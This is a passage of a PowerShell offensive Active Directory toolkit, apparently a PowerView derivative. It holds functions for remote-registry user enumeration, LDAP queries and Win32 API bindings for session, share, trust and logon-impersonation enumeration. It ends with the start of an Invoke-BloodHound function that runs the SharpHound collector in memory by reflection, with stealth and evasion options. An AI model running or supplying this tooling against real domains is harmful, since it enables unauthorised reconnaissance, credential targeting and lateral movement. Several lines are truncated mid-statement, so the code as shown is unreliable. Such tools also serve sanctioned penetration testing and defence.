Get-LogoffTime -LogonHours $LogonHours -LogonTime $(Get-Date)
.INPUTS
PSObject
.OUTPUTS
DateTime
#>
[OutputType([DateTime])]
[CmdletBinding()]
Param(
[ValidateNotNullOrEmpty()]
$LogonHours,
[DateTime]
$LogonTime
)
BEGIN {
$Days = @{
1 = "Sunday";
2 = "Monday";
3 = "Tuesday";
4 = "Wednesday";
5 = "Thursday";
6 = "Friday";
7 = "Saturday";
}
}
PROCESS {
$Hour = $LogonTime.Hour
$Day = $Days[$LogonTime.Day]
if (-not $LogonHours.$Day.$Hour) {
Write-Verbose "[Get-LogoffTime] User is not allowed to logon now!"
$LogonTime
}
$OutTime = $LogonTime
$leftover = 23 - $Hour
$FoundLogoff = $False
for ($i=0; $i -lt 7; $i++) {
$Day = $Days[$($LogonTime.Day + $i)]
if ($i -eq 0) {
$counter = $Hour + 1
}
else {
$counter = 0
}
do {
$OutTime = $OutTime.AddHours(1)
if (-not $LogonHours.$Day.$counter) {
$FoundLogoff = $True
break
}
$counter += 1
} while ($counter -lt 24)
if ($FoundLogoff) {
break
}
}
if (-not $FoundLogoff -and $Hour -gt 0) {
$Day = $Days[$LogonTime.Day]
for ($i=0; $i -lt $Hour; $i++) {
$OutTime = $OutTime.AddHours(1)
if (-not $LogonHours.$Day.$i) {
$FoundLogoff = $True
break
}
}
}
if ($FoundLogoff) {
$OutTime
}
else {
$FoundLogoff
}
}
}
function Get-RegistryUserEnum {
<#
.SYNOPSIS
Enumerate users using remote registry.
Author: Charlie Clark (@exploitph)
License: BSD 3-Clause
Required Dependencies:
.DESCRIPTION
Enumerate users using remote registry.
.PARAMETER ComputerName
Computer to check.
.PARAMETER Check
Switch. Just check if connecting to the remote registry works.
.EXAMPLE
Get-LogoffTime -LogonHours $LogonHours -LogonTime $(Get-Date)
.INPUTS
PSObject
.OUTPUTS
DateTime
#>
[CmdletBinding(SupportsShouldProcess=$True,
ConfirmImpact='Medium')]
Param
(
[parameter(Position=0, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
[Alias('DNSHostName', 'Name', 'Server')]
[String[]]
$ComputerName = '.',
[Switch]
$Check
)
Begin {
}
Process {
Foreach ($Computer in $ComputerName) {
if (Test-Connection $computer -Count 2 -Quiet) {
$reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', $Computer)
$subkeys = $reg.GetSubKeyNames() | ?{$_ -notmatch '.DEFAULT' -and $_ -notmatch '_Clas
if ($PSBoundParameters['Check'] -and $subkeys.Length -gt 0) {
$Computer
} elseif ($subkeys.Length -gt 0) {
$users = @()
foreach ($subkey in $subkeys) {
$user = New-Object psobject
$user | Add-Member -Name SID -MemberType NoteProperty -Value $subkey
$user | Add-Member -Name Name -MemberType NoteProperty -Value (ConvertFrom-SID
$users += ,$user
}
$Obj = New-Object psobject
$Obj | Add-Member -Name Computer -MemberType NoteProperty -Value $Computer
$Obj | Add-Member -Name Users -MemberType NoteProperty -Value $users
$Obj
} else {
Write-Warning "$Computer connected but did not return subkeys"
}
}
else {
Write-Error "$Computer not reachable"
}
}
}
End {
#[Microsoft.Win32.RegistryHive]::Users
}
}
function Convert-LdapConnectionAttributes {
<#
.SYNOPSIS
Converts Attributes property from an LdapConnection SearchResult.
Author: Charlie Clark (@exploitph)
License: BSD 3-Clause
Required Dependencies:
.DESCRIPTION
Enumerate users using remote registry.
.PARAMETER Attributes
Attributes to convert
.EXAMPLE
Convert-LdapConnectionAttributes -Attributes $_.Attributes
.INPUTS
Hashtable
.OUTPUTS
Hashtable
#>
[OutputType('Hashtable')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Hashtable]
$Attributes
)
BEGIN {
$DontConvert = @(
'objectsid'
'sidhistory'
'objectguid'
'usercertificate'
'ntsecuritydescriptor'
'logonhours'
'accountexpires'
'pwdlastset'
'badpasswordtime'
'lastlogontimestamp'
'lastlogoff'
'lastlogon'
'lockouttime'
'schemaidguid'
'attributesecurityguid'
'pkioverlapperiod'
'pkiexpirationperiod'
'ms-ds-consistencyguid'
)
}
PROCESS {
$Prop = @{}
foreach ($a in $Attributes.Keys | Sort-Object) {
if ($DontConvert -contains $a) {
$Prop[$a] = $Attributes[$a]
}
elseif ($a -eq 'whenchanged' -or $a -eq 'whencreated' -or $a -eq 'dscorepropagationdata' -or $a
$Values = @()
$timeAttr = $Attributes[$a].GetValues("string")
foreach ($item in $timeAttr) {
$newTime = New-Object DateTime
if ([datetime]::TryParseExact($item.Substring(0,$item.Length - 3), "yyyyMMddHHmmss", $
{
$Values += $newTime
}
}
$Prop[$a] = $Values
}
else {
$Prop[$a] = $Attributes[$a].GetValues("string")
}
}
$Prop
}
}
function Get-TargetDomainName {
<#
.SYNOPSIS
Gets the target domain name.
Author: Charlie Clark (@exploitph)
License: BSD 3-Clause
Required Dependencies:
.DESCRIPTION
Gets the target domain name.
.PARAMETER Domain
Domain name.
.PARAMETER Credential
Credentials being used.
.EXAMPLE
Get-TargetDomainName
.INPUTS
String
Management.Automation.PSCredential
.OUTPUTS
String
#>
[OutputType('String')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
}
PROCESS {
if ($PSBoundParameters['Domain']) {
$TargetDomain = $Domain
}
elseif ($PSBoundParameters['Credential']) {
# if not -Domain is specified, but -Credential is, try to retrieve the current domain name with Get
$DomainObject = Get-Domain -Credential $Credential
$TargetDomain = $DomainObject.Name
}
elseif ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) {
# see if we can grab the user DNS logon domain from environment variables
$TargetDomain = $ENV:USERDNSDOMAIN
}
else {
# otherwise, resort to Get-Domain to retrieve the current domain object
write-verbose "get-domain"
$DomainObject = Get-Domain
$TargetDomain = $DomainObject.Name
}
Write-Verbose "[Get-TargetDomainName] Using domain name $($TargetDomain)"
$TargetDomain
}
}
function Get-RootDSE {
<#
.SYNOPSIS
Gets the rootdse configuration.
Author: Charlie Clark (@exploitph)
License: BSD 3-Clause
Required Dependencies:
.DESCRIPTION
Gets the rootdse configuration.
.PARAMETER Domain
Domain name.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to for the search.
.PARAMETER Credential
Credentials being used.
.EXAMPLE
Get-RootDSE
.INPUTS
String
Management.Automation.PSCredential
.OUTPUTS
String
#>
[OutputType('String')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{
'RootDSE' = $True
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
}
PROCESS {
$Searcher = Get-DomainSearcher @SearcherArguments
$Request = New-Object System.DirectoryServices.Protocols.SearchRequest
$Request.Filter = '(objectClass=*)'
$Request.DistinguishedName = $null
$Request.Scope = 'Base'
$Response = $Searcher.SendRequest($Request)
Convert-LdapConnectionAttributes -Attributes $Response.Entries[0].Attributes
}
}
########################################################
#
# Expose the Win32API functions and datastructures below
# using PSReflect.
# Warning: Once these are executed, they are baked in
# and can't be changed while the script is running!
#
########################################################
$Mod = New-InMemoryModule -ModuleName Win32
# [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPositionalParameters', Scope=
# used to parse the 'samAccountType' property for users/computers/groups
$SamAccountTypeEnum = psenum $Mod PowerView.SamAccountTypeEnum UInt32 @{
DOMAIN_OBJECT = '0x00000000'
GROUP_OBJECT = '0x10000000'
NON_SECURITY_GROUP_OBJECT = '0x10000001'
ALIAS_OBJECT = '0x20000000'
NON_SECURITY_ALIAS_OBJECT = '0x20000001'
USER_OBJECT = '0x30000000'
MACHINE_ACCOUNT = '0x30000001'
TRUST_ACCOUNT = '0x30000002'
APP_BASIC_GROUP = '0x40000000'
APP_QUERY_GROUP = '0x40000001'
ACCOUNT_TYPE_MAX = '0x7fffffff'
}
# used to parse the 'grouptype' property for groups
$GroupTypeEnum = psenum $Mod PowerView.GroupTypeEnum UInt32 @{
CREATED_BY_SYSTEM = '0x00000001'
GLOBAL_SCOPE = '0x00000002'
DOMAIN_LOCAL_SCOPE = '0x00000004'
UNIVERSAL_SCOPE = '0x00000008'
APP_BASIC = '0x00000010'
APP_QUERY = '0x00000020'
SECURITY = '0x80000000'
} -Bitfield
# used to parse the 'userAccountControl' property for users/groups
$UACEnum = psenum $Mod PowerView.UACEnum UInt32 @{
SCRIPT = 1
ACCOUNTDISABLE = 2
HOMEDIR_REQUIRED = 8
LOCKOUT = 16
PASSWD_NOTREQD = 32
PASSWD_CANT_CHANGE = 64
ENCRYPTED_TEXT_PWD_ALLOWED = 128
TEMP_DUPLICATE_ACCOUNT = 256
NORMAL_ACCOUNT = 512
INTERDOMAIN_TRUST_ACCOUNT = 2048
WORKSTATION_TRUST_ACCOUNT = 4096
SERVER_TRUST_ACCOUNT = 8192
DONT_EXPIRE_PASSWORD = 65536
MNS_LOGON_ACCOUNT = 131072
SMARTCARD_REQUIRED = 262144
TRUSTED_FOR_DELEGATION = 524288
NOT_DELEGATED = 1048576
USE_DES_KEY_ONLY = 2097152
DONT_REQ_PREAUTH = 4194304
PASSWORD_EXPIRED = 8388608
TRUSTED_TO_AUTH_FOR_DELEGATION = 16777216
NO_AUTH_DATA_REQUIRED = 33554432
PARTIAL_SECRETS_ACCOUNT = 67108864
} -Bitfield
# enum used by $WTS_SESSION_INFO_1 below
$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{
Active = 0
Connected = 1
ConnectQuery = 2
Shadow = 3
Disconnected = 4
Idle = 5
Listen = 6
Reset = 7
Down = 8
Init = 9
}
# the WTSEnumerateSessionsEx result structure
$WTS_SESSION_INFO_1 = struct $Mod PowerView.RDPSessionInfo @{
ExecEnvId = field 0 UInt32
State = field 1 $WTSConnectState
SessionId = field 2 UInt32
pSessionName = field 3 String -MarshalAs @('LPWStr')
pHostName = field 4 String -MarshalAs @('LPWStr')
pUserName = field 5 String -MarshalAs @('LPWStr')
pDomainName = field 6 String -MarshalAs @('LPWStr')
pFarmName = field 7 String -MarshalAs @('LPWStr')
}
# the particular WTSQuerySessionInformation result structure
$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{
AddressFamily = field 0 UInt32
Address = field 1 Byte[] -MarshalAs @('ByValArray', 20)
}
# the NetShareEnum result structure
$SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{
Name = field 0 String -MarshalAs @('LPWStr')
Type = field 1 UInt32
Remark = field 2 String -MarshalAs @('LPWStr')
}
# the NetWkstaUserEnum result structure
$WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{
UserName = field 0 String -MarshalAs @('LPWStr')
LogonDomain = field 1 String -MarshalAs @('LPWStr')
AuthDomains = field 2 String -MarshalAs @('LPWStr')
LogonServer = field 3 String -MarshalAs @('LPWStr')
}
# the NetSessionEnum result structure
$SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{
CName = field 0 String -MarshalAs @('LPWStr')
UserName = field 1 String -MarshalAs @('LPWStr')
Time = field 2 UInt32
IdleTime = field 3 UInt32
}
# enum used by $LOCALGROUP_MEMBERS_INFO_2 below
$SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{
SidTypeUser =1
SidTypeGroup =2
SidTypeDomain =3
SidTypeAlias =4
SidTypeWellKnownGroup = 5
SidTypeDeletedAccount = 6
SidTypeInvalid =7
SidTypeUnknown =8
SidTypeComputer =9
}
# used to parse the 'systemflags' property for schema objects
$SystemFlagsEnum = psenum $Mod PowerView.SystemFlagsEnum UInt32 @{
ATTR_NOT_REPLICATED = '0x00000001'
ATTR_REQ_PARTIAL_SET_MEMBER = '0x00000002'
ATTR_IS_CONSTRUCTED = '0x00000004'
ATTR_IS_OPERATIONAL = '0x00000008'
SCHEMA_BASE_OBJECT = '0x00000010'
ATTR_IS_RDN = '0x00000020'
DISALLOW_MOVE_ON_DELETE = '0x02000000'
DOMAIN_DISALLOW_MOVE = '0x04000000'
DOMAIN_DISALLOW_RENAME = '0x08000000'
CONFIG_ALLOW_LIMITED_MOVE = '0x10000000'
CONFIG_ALLOW_MOVE = '0x20000000'
CONFIG_ALLOW_RENAME = '0x40000000'
DISALLOW_DELETE = '0x80000000'
} -Bitfield
# used to parse the 'schemaFlagsEx' property for schema attributes
$SchemaFlagsExEnum = psenum $Mod PowerView.SchemaFlagsExEnum UInt32 @{
ATTR_IS_CRITICAL = '0x00000001'
} -Bitfield
# used to parse the 'searchflags' property for schema attributes
$SearchFlagsExEnum = psenum $Mod PowerView.SearchFlagsExEnum UInt32 @{
ATTINDEX = '0x00000001'
PDNTATTINDEX = '0x00000002'
ANR = '0x00000004'
PRESERVEONDELETE = '0x00000008'
COPY = '0x00000010'
TUPLEINDEX = '0x00000020'
SUBTREEATTINDEX = '0x00000040'
CONFIDENTIAL = '0x00000080'
NEVERVALUEAUDIT = '0x00000100'
RODCFilteredAttribute = '0x00000200'
EXTENDEDLINKTRACKING = '0x00000400'
BASEONLY = '0x00000800'
PARTITIONSECRET = '0x00001000'
} -Bitfield
# used to parse the 'instanceType' property for domain objects
$InstanceTypeEnum = psenum $Mod PowerView.InstanceTypeEnum UInt32 @{
HEAD_OF_NC = '0x00000001'
REPLICA_NOT_INSTANTIATED = '0x00000002'
WRITABLE = '0x00000004'
ABOVE_NC_IS_HELD = '0x00000008'
NC_BEING_CONSTRUCTED = '0x00000010'
NC_BEING_REMOVED = '0x00000020'
} -Bitfield
# used to parse the 'mspki-certificate-name-flag' property for certificate templates
$CertNameFlagEnum = psenum $Mod PowerView.CertNameFlagEnum UInt32 @{
ENROLLEE_SUPPLIES_SUBJECT = '0x00000001'
OLD_CERT_SUPPLIES_SUBJECT_AND_ALT_NAME = '0x00000008'
ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME = '0x00010000'
SUBJECT_ALT_REQUIRE_DOMAIN_DNS = '0x00400000'
SUBJECT_ALT_REQUIRE_SPN = '0x00800000'
SUBJECT_ALT_REQUIRE_DIRECTORY_GUID = '0x01000000'
SUBJECT_ALT_REQUIRE_UPN = '0x02000000'
SUBJECT_ALT_REQUIRE_EMAIL = '0x04000000'
SUBJECT_ALT_REQUIRE_DNS = '0x08000000'
SUBJECT_REQUIRE_DNS_AS_CN = '0x10000000'
SUBJECT_REQUIRE_EMAIL = '0x20000000'
SUBJECT_REQUIRE_COMMON_NAME = '0x40000000'
SUBJECT_REQUIRE_DIRECTORY_PATH = '0x80000000'
} -Bitfield
# used to parse the 'flags' property for certificate templates
$CertFlagsEnum = psenum $Mod PowerView.CertFlagsEnum UInt32 @{
ADD_EMAIL = '0x00000002'
PUBLISH_TO_DS = '0x00000008'
EXPORTABLE_KEY = '0x00000010'
AUTO_ENROLLMENT = '0x00000020'
MACHINE_TYPE = '0x00000040'
IS_CA = '0x00000080'
ADD_TEMPLATE_NAME = '0x00000200'
DONOTPERSISTINDB = '0x00000400'
IS_CROSS_CA = '0x00000800'
IS_DEFAULT = '0x00010000'
IS_MODIFIED = '0x00020000'
} -Bitfield
# used to parse the 'mspki-enrollment-flag' property for certificate templates
$CertEnrollmentFlagEnum = psenum $Mod PowerView.CertEnrollmentFlagEnum UInt32 @{
INCLUDE_SYMMETRIC_ALGORITHMS = '0x00000001'
PEND_ALL_REQUESTS = '0x00000002'
PUBLISH_TO_KRA_CONTAINER = '0x00000004'
PUBLISH_TO_DS = '0x00000008'
AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE = '0x00000010'
AUTO_ENROLLMENT = '0x00000020'
PREVIOUS_APPROVAL_VALIDATE_REENROLLMENT = '0x00000040'
USER_INTERACTION_REQUIRED = '0x00000100'
REMOVE_INVALID_CERTIFICATE_FROM_PERSONAL_STORE = '0x00000400'
ALLOW_ENROLL_ON_BEHALF_OF = '0x00008000'
ADD_OCSP_NOCHECK = '0x00010000'
ENABLE_KEY_REUSE_ON_NT_TOKEN_KEYSET_STORAGE_FULL = '0x00002000'
NOREVOCATIONINFOINISSUEDCERTS = '0x00004000'
INCLUDE_BASIC_CONSTRAINTS_FOR_EE_CERTS = '0x00008000'
ALLOW_PREVIOUS_APPROVAL_KEYBASEDRENEWAL_VALIDATE_REENROLLMENT = '0x000
ISSUANCE_POLICIES_FROM_REQUEST = '0x00020000'
SKIP_AUTO_RENEWAL = '0x00040000'
NO_SECURITY_EXTENSION = '0x00080000'
} -Bitfield
# used to parse the 'mspki-private-key-flag' property for certificate templates
$CertPrivKeyFlagEnum = psenum $Mod PowerView.CertPrivKeyFlagEnum UInt32 @{
ATTEST_NONE = '0x00000000'
REQUIRE_PRIVATE_KEY_ARCHIVAL = '0x00000001'
EXPORTABLE_KEY = '0x00000010'
STRONG_KEY_PROTECTION_REQUIRED = '0x00000020'
REQUIRE_ALTERNATE_SIGNATURE_ALGORITHM = '0x00000040'
REQUIRE_SAME_KEY_RENEWAL = '0x00000080'
USE_LEGACY_PROVIDER = '0x00000100'
EK_TRUST_ON_USE = '0x00000200'
EK_VALIDATE_CERT = '0x00000400'
EK_VALIDATE_KEY = '0x00000800'
ATTEST_PREFERRED = '0x00001000'
ATTEST_REQUIRED = '0x00002000'
ATTESTATION_WITHOUT_POLICY = '0x00004000'
HELLO_LOGON_KEY = '0x00200000'
} -Bitfield
# the NetLocalGroupEnum result structure
$LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{
lgrpi1_name = field 0 String -MarshalAs @('LPWStr')
lgrpi1_comment = field 1 String -MarshalAs @('LPWStr')
}
# the NetLocalGroupGetMembers result structure
$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{
lgrmi2_sid = field 0 IntPtr
lgrmi2_sidusage = field 1 $SID_NAME_USE
lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr')
}
# enums used in DS_DOMAIN_TRUSTS
$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{
IN_FOREST =1
DIRECT_OUTBOUND = 2
TREE_ROOT =4
PRIMARY =8
NATIVE_MODE = 16
DIRECT_INBOUND = 32
} -Bitfield
$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{
DOWNLEVEL = 1
UPLEVEL = 2
MIT =3
DCE =4
}
$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{
NON_TRANSITIVE =1
UPLEVEL_ONLY =2
FILTER_SIDS =4
FOREST_TRANSITIVE =8
CROSS_ORGANIZATION = 16
WITHIN_FOREST = 32
TREAT_AS_EXTERNAL = 64
USES_RC4_ENCRYPTION = 128
CROSS_ORGANIZATION_NO_TGT_DELEGATION = 512
PIM_TRUST = 1024
CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION = 2048
}
$TrustDirectionEnum = psenum $Mod PowerView.TrustDirection UInt32 @{
DISABLED = 0
INBOUND = 1
OUTBOUND = 2
} -Bitfield
$TrustAttributesEnum = psenum $Mod PowerView.TrustAttributes UInt32 @{
NON_TRANSITIVE =1
UPLEVEL_ONLY =2
FILTER_SIDS =4
FOREST_TRANSITIVE =8
CROSS_ORGANIZATION = 16
WITHIN_FOREST = 32
TREAT_AS_EXTERNAL = 64
USES_RC4_ENCRYPTION = 128
CROSS_ORGANIZATION_NO_TGT_DELEGATION = 512
PIM_TRUST = 1024
CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION = 2048
} -Bitfield
# the DsEnumerateDomainTrusts result structure
$DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{
NetbiosDomainName = field 0 String -MarshalAs @('LPWStr')
DnsDomainName = field 1 String -MarshalAs @('LPWStr')
Flags = field 2 $DsDomainFlag
ParentIndex = field 3 UInt32
TrustType = field 4 $DsDomainTrustType
TrustAttributes = field 5 $DsDomainTrustAttributes
DomainSid = field 6 IntPtr
DomainGuid = field 7 Guid
}
# used by WNetAddConnection2W
$NETRESOURCEW = struct $Mod NETRESOURCEW @{
dwScope = field 0 UInt32
dwType = field 1 UInt32
dwDisplayType = field 2 UInt32
dwUsage = field 3 UInt32
lpLocalName = field 4 String -MarshalAs @('LPWStr')
lpRemoteName = field 5 String -MarshalAs @('LPWStr')
lpComment = field 6 String -MarshalAs @('LPWStr')
lpProvider = field 7 String -MarshalAs @('LPWStr')
}
# all of the Win32 API functions we need
$FunctionDefinitions = @(
(func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeBy
(func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].Ma
(func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [I
(func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].Ma
(func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(),
(func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())),
(func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntP
(func netapi32 NetApiBufferFree ([Int]) @([IntPtr])),
(func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError),
(func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError),
(func advapi32 CloseServiceHandle ([Int]) @([IntPtr])),
(func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRef
(func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError),
(func advapi32 RevertToSelf ([Bool]) @() -SetLastError),
(func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),
(func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].M
(func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [
(func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),
(func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])),
(func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])),
(func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])),
(func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])),
(func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError)
)
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
$Netapi32 = $Types['netapi32']
$Advapi32 = $Types['advapi32']
$Wtsapi32 = $Types['wtsapi32']
$Mpr = $Types['Mpr']
$Kernel32 = $Types['kernel32']
Set-Alias Get-IPAddress Resolve-IPAddress
Set-Alias Convert-NameToSid ConvertTo-SID
Set-Alias Convert-SidToName ConvertFrom-SID
Set-Alias Request-SPNTicket Get-DomainSPNTicket
Set-Alias Get-DNSZone Get-DomainDNSZone
Set-Alias Get-DNSRecord Get-DomainDNSRecord
Set-Alias Get-NetDomain Get-Domain
Set-Alias Get-NetDomainController Get-DomainController
Set-Alias Get-NetForest Get-Forest
Set-Alias Get-NetForestDomain Get-ForestDomain
Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog
Set-Alias Get-NetUser Get-DomainUser
Set-Alias Get-UserEvent Get-DomainUserEvent
Set-Alias Get-NetComputer Get-DomainComputer
Set-Alias Get-ADObject Get-DomainObject
Set-Alias Set-ADObject Set-DomainObject
Set-Alias Get-ObjectAcl Get-DomainObjectAcl
Set-Alias Add-ObjectAcl Add-DomainObjectAcl
Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl
Set-Alias Get-GUIDMap Get-DomainGUIDMap
Set-Alias Get-NetOU Get-DomainOU
Set-Alias Get-NetSite Get-DomainSite
Set-Alias Get-NetSubnet Get-DomainSubnet
Set-Alias Get-NetGroup Get-DomainGroup
Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup
Set-Alias Get-NetGroupMember Get-DomainGroupMember
Set-Alias Get-NetFileServer Get-DomainFileServer
Set-Alias Get-DFSshare Get-DomainDFSShare
Set-Alias Get-NetGPO Get-DomainGPO
Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup
Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping
Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMapping
Set-Alias Get-LoggedOnLocal Get-RegLoggedOn
Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess
Set-Alias Get-SiteName Get-NetComputerSiteName
Set-Alias Get-Proxy Get-WMIRegProxy
Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn
Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection
Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive
Set-Alias Get-NetProcess Get-WMIProcess
Set-Alias Invoke-ThreadedFunction New-ThreadedFunction
Set-Alias Invoke-UserHunter Find-DomainUserLocation
Set-Alias Invoke-ProcessHunter Find-DomainProcess
Set-Alias Invoke-EventHunter Find-DomainUserEvent
Set-Alias Invoke-ShareFinder Find-DomainShare
Set-Alias Invoke-FileFinder Find-InterestingDomainShareFile
Set-Alias Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember
Set-Alias Get-NetDomainTrust Get-DomainTrust
Set-Alias Get-NetForestTrust Get-ForestTrust
Set-Alias Find-ForeignUser Get-DomainForeignUser
Set-Alias Find-ForeignGroup Get-DomainForeignGroupMember
Set-Alias Invoke-MapDomainTrust Get-DomainTrustMapping
Set-Alias Get-DomainPolicy Get-DomainPolicyData
########################################################
#
# SharpHound collector from https://github.com/BloodHoundAD/SharpHound
# Version 2.3.0 - Supporting BloodHound Community Edition only
#
########################################################
function Invoke-BloodHound
{
<#
.SYNOPSIS
Runs the BloodHound Community C# Ingestor using reflection. The assembly is stored in this file.
.DESCRIPTION
Using reflection and assembly.load, load the compiled BloodHound Community C# ingestor into m
and run it without touching disk. Parameters are converted to the equivalent CLI arguments
for the SharpHound executable and passed in via reflection. The appropriate function
calls are made in order to ensure that assembly dependencies are loaded properly.
.PARAMETER CollectionMethods
Specifies the CollectionMethods being used. Possible value are:
Group - Collect group membership information
LocalGroup - Collect local group information for computers
LocalAdmin - Collect local admin users for computers
RDP - Collect remote desktop users for computers
DCOM - Collect distributed COM users for computers
PSRemote - Collected members of the Remote Management Users group for computers
Session - Collect session information for computers
Trusts - Enumerate domain trust data
ACL - Collect ACL (Access Control List) data
Container - Collect GPO/OU Data
ComputerOnly - Collects Local Group and Session data
GPOLocalGroup - Collects Local Group information using GPO (Group Policy Objects)
LoggedOn - Collects session information using privileged methods (needs admin!)
ObjectProps - Collects node property information for users and computers
SPNTargets - Collects SPN targets (currently only MSSQL)
Default - Collects Group Membership, Local Admin, Sessions, Containers, ACLs and Domain Tr
DcOnly - Collects Group Membership, ACLs, ObjectProps, Trusts, Containers, and GPO Admin
CARegistry - Collect ADCS properties from registry of Certificate Authority servers
DCRegistry - Collect properties from registry of Domain Controller servers
CertServices - Collect ADCS properties from Certificate Services
All - Collect all data
This can be a list of comma separated valued as well to run multiple collection methods!

.PARAMETER Domain

Specifies the domain to enumerate. If not specified, will enumerate the current
domain your user context specifies.
.PARAMETER SearchForest

Search all trusted domains in the forest.


.PARAMETER Stealth
Use stealth collection options, will sacrifice data quality in favor of much reduced
network impact
.PARAMETER LdapFilter

Append this ldap filter to the search filter to further filter the results enumerated

.PARAMETER DistinguishedName
DistinguishedName to start LDAP searches at. Equivalent to the old -Ou option

.PARAMETER ComputerFile

A file containing a list of computers to enumerate. This option can only be used with the following C
Session, Session, LocalGroup, ComputerOnly, LoggedOn

.PARAMETER OutputDirectory

Folder to output files too

.PARAMETER OutputPrefix
Prefix to add to output files

.PARAMETER CacheName

Name for the cache file dropped to disk (default: unique hash generated per machine)

.PARAMETER MemCache

Don't write the cache file to disk. Caching will still be performed in memory.

.PARAMETER RebuildCache

Invalidate and rebuild the cache file

.PARAMETER RandomFileNames

Randomize file names completely

.PARAMETER ZipFilename

Name for the zip file output by data collection

.PARAMETER NoZip

Do NOT zip the json files

.PARAMETER ZipPassword

Encrypt the zip file with the specified password

.PARAMETER TrackComputerCalls

Write a CSV file with the results of each computer API call to disk

.PARAMETER PrettyPrint

Output "pretty" json with formatting for readability

.PARAMETER LdapUsername

Username for connecting to LDAP. Use this if you're using a non-domain account for connecting to

.PARAMETER LdapPassword
Password for connecting to LDAP. Use this if you're using a non-domain account for connecting to

.PARAMETER DomainController
Domain Controller to connect too. Specifiying this can result in data loss
.PARAMETER LdapPort
Port LDAP is running on. Defaults to 389/686 for LDAPS
.PARAMETER SecureLDAP
Connect to LDAPS (LDAP SSL) instead of regular LDAP
.PARAMETER DisableCertVerification

Disable certificate verification for secure LDAP


.PARAMETER DisableSigning
Disables keberos signing/sealing, making LDAP traffic viewable
.PARAMETER SkipPortCheck
Skip SMB port checks when connecting to computers

.PARAMETER PortScanTimeout

Timeout for port checks

.PARAMETER SkipPasswordCheck
